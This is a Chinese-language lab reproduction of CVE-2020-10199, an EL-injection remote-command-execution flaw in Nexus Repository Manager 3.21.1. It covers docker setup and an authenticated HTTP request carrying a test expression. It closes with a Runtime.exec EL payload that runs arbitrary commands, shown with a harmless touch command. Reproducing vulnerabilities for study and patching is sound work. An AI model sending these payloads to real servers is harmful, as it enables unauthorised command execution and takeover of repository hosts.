<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Nexus Repository Manager 3 遠程命令執行漏洞(CVE-2020-10199)

    Path nexus/CVE-2020-10199

    Nexus Repository Manager 3 是一款軟件倉庫,可以用來存儲和分發Maven、NuGET等軟件源倉庫。其3.21.1及之前版本中,存在一處任意EL表達式注入漏洞。

    參考鏈接:

    漏洞環境

    執行如下命令啟動Nexus Repository Manager 3.21.1:

    docker-compose up -d

    等待一段時間環境才能成功啟動,訪問http://your-ip:8081即可看到Web頁面。

    該漏洞需要至少普通用戶身份,所以我們需要使用賬號密碼admin:admin登錄后臺。

    漏洞復現

    登錄后,復制當前Cookie和CSRF Token,發送如下數據包,即可執行EL表達式:

    POST /service/rest/beta/repositories/go/group HTTP/1.1
    Host: 127.0.0.1:8081
    Content-Length: 203
    X-Requested-With: XMLHttpRequest
    X-Nexus-UI: true
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    NX-ANTI-CSRF-TOKEN: 0.7886248393834028
    Content-Type: application/json
    Accept: */*
    Origin: http://127.0.0.1:8081
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Referer: http://127.0.0.1:8081/
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
    Connection: close
    
    {
      "name": "internal",
      "online": true,
      "storage": {
        "blobStoreName": "default",
        "strictContentTypeValidation": true
      },
      "group": {
        "memberNames": ["$\\A{233*233*233}"]
      }
    }

    參考https://github.com/jas502n/CVE-2020-10199,使用表達式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功執行任意命令。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类